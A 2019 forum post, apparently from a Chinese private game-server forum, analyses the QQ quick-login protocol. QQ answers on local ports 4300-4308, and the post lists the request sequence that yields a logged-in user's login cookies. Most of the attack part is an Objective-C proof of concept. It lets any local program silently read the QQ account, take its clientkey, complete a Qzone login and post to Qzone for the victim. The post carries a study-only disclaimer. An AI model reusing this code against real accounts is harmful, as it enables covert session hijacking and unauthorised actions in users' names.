12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 1581|回复: 0

分析QQ快速登录协议 并实施“CSRF”

[复制链接]

305

主题

305

帖子

620

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
620
发表于 2019-8-13 15:15:28 | 显示全部楼层 |阅读模式
本文章仅限学习,请勿用作非法用途


PS. 新人,到底发在哪个版块不清楚。如果发错了请管理员移动。


众所周知,Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。
就在不知道什么时候,快速登录突然不用控件了。
当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?

在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。

在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。

结果真的就是这样,


网页JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。

第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 来自cookie,管他是什么东西;r就是个随机数

返回的结果是个JSON数组:
var var_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);

然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论

这样你的QQ信息就能显示在Web页面上了。

当你按下你的头像(选择这个登录的时候)

下列请求产生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同样的,r是随机数,pt_local_tk是来自cookie,local_token
这个请求做什么事情呢?

嗯,Set-Cookie。

然后继续请求
http://ptlogin2.qq.com/jump?clientuin=你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1就是目标地址

这个请求将返回所有需要的cookie,至此你就登录成功了。

那么学会了协议之后,就发现了一个很严重的问题:如果一个(黑心的)程序代替用户做了这些事情,会发生什么?

立刻动手!

手边只有Mac,于是用的是Obj-C写的。

[self GET:@"http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&r=0.47178753013324637&pt_local_tk=-1211438011" header:nil];
//这里的GET是我自己封装的一个方法,GET网页上的数据

注意:由于有之前做QQ机器人(基于WebQQ协议)的经验:Referer头是很重要的(必须是.qq.com的域名),一旦错误,必定失败。所以这里没绕弯子

By the way, 那个时候刚刚接触Obj-C,部分代码可能看起来有点蠢,请原谅。
//cookiedata是个NSDictionary

[Objective-C] 纯文本查看 复制代码-(void)GET:(NSString*) urladd header:(NSDictionary*)Header;{    NSURL *url = [NSURL URLWithString:urladd];    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];    NSString* Cookie=@"";    for (NSString* key in cookiedata) {        Cookie=[Cookie stringByAppendingFormat:@"%@=%@; ",key,[cookiedata objectForKey:key]];    }    [request addValue:Cookie forHTTPHeaderField:@"Cookie"];    [request addValue:@"http://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=http%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=http%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html" forHTTPHeaderField:@"Referer"];    NSURLSessionConfiguration *config = [NSURLSessionConfiguration defaultSessionConfiguration];    NSURLSession *session = [NSURLSession sessionWithConfiguration:config delegate:self delegateQueue:[NSOperationQueue currentQueue]];    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {                NSDictionary *rspheaders = [(NSHTTPURLResponse *)response allHeaderFields];        NSArray *cookies =[[NSArray alloc]init];        cookies = [NSHTTPCookie cookiesWithResponseHeaderFields:rspheaders forURL:url];                for (NSHTTPCookie *cookie in cookies) {            if([cookie.value isEqualToString:@""])            {  continue; }            [cookiedata setObject:cookie.value forKey:cookie.name]; //存起来        }        if (error == nil) {            NSString* aStr;            aStr = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];                        if([aStr rangeOfString:@"var_sso_uin_list"].length!=0) //如果这是第一次请求(获取在线列表)            {                aStr=[aStr stringByReplacingOccurrencesOfString:@"var var_sso_uin_list=" withString:@""];                aStr=[aStr stringByReplacingOccurrencesOfString:@";ptui_getuins_CB(var_sso_uin_list);" withString:@""];               //懒得用正则去匹配了,简单粗暴的做替换                NSData *data= [aStr dataUsingEncoding:NSUTF8StringEncoding];                NSDictionary *rootDic = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableLeaves error:&error]; //这里解析JSON                NSString* uin=@"";                 for(NSDictionary* name in rootDic)                {                    NSLog(@"登录的QQ:%@,昵称:%@",name[@"uin"],name[@"nickname"]);                    uin=name[@"uin"];                    break;                }                NSString* newul=[[NSString alloc] initWithFormat:@"http://localhost.ptlogin2.qq.com:4302/pt_get_st?clientuin=%@&callback=ptui_getst_CB&r=0.8042511733970701&pt_local_tk=561916029",uin]; //发起下一个请求,也就是登录                [self GET:newul header:nil];            }            else if([aStr rangeOfString:@"var_sso_get_st_uin"].length!=0) //那么如果是第二个请求            {                NSString * clientkey;                clientkey=cookiedata[@"clientkey"];                clientuin=cookiedata[@"clientuin"];                 UInt64 recordTime = [[NSDate date] timeIntervalSince1970]*1000; //时间戳                NSString* newul=[[NSString alloc] initWithFormat:@"http://ptlogin2.qq.com/jump?clientuin=%@&keyindex=19&pt_aid=549000912&daid=5&u1=%@&pt_local_tk=%llu&pt_3rd_aid=0&ptopt=1&style=40",clientuin,@"http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone",recordTime];                [cookiedata setObject:[[NSString alloc] initWithFormat:@"%llu",recordTime] forKey:@"pt_local_token"];                                NSString* newcookie=[[NSString alloc] initWithFormat:@"clientuin=%@;clientkey=%@;pt_local_token=%llu",clientuin,clientkey,recordTime];                NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys:newcookie,@"Cookie", nil];                [self GET:newul header:dict]; //这里执行第三个请求            }            else if([aStr rangeOfString:@"ptui_qlogin_CB('0'"].length!=0)            {                aStr=[aStr stringByReplacingOccurrencesOfString:@"ptui_qlogin_CB('0', '" withString:@""];                aStr=[aStr stringByReplacingOccurrencesOfString:@"', '');" withString:@""];                aStr=[aStr stringByReplacingOccurrencesOfString: @"\r" withString:@""];                aStr=[aStr stringByReplacingOccurrencesOfString: @"\n" withString:@""]; //这里继续简单粗暴地用replace解决问题                [self GET:aStr header:[NSDictionary dictionaryWithObjectsAndKeys:@"",@"Cookie", nil]];//提交check_sig            }            else if([urladd rangeOfString:@"check_sig"].length!=0)//check_sig            {                [self PostEmotion]; //登录成功了,这里召唤了QQ空间发帖的函数                [cookiedata writeToFile:plist atomically:YES];                NSLog(@"Success");            }        }        else        {            NSLog(@"Error:%@ URL:[[[[%@]]]]]",error,urladd); //有没有错误        }    }];

这样就完成了登录,随便找个QQ空间的接口(这里不贴出来了),发帖成功。

这意味着什么?意味着只要是本地运行的一个程序,完全有机会代替你完成QQ登录,并在QQ空间等不需要二次认证的平台做一些偷偷摸摸的操作


来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-27 12:33 , Processed in 0.093750 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表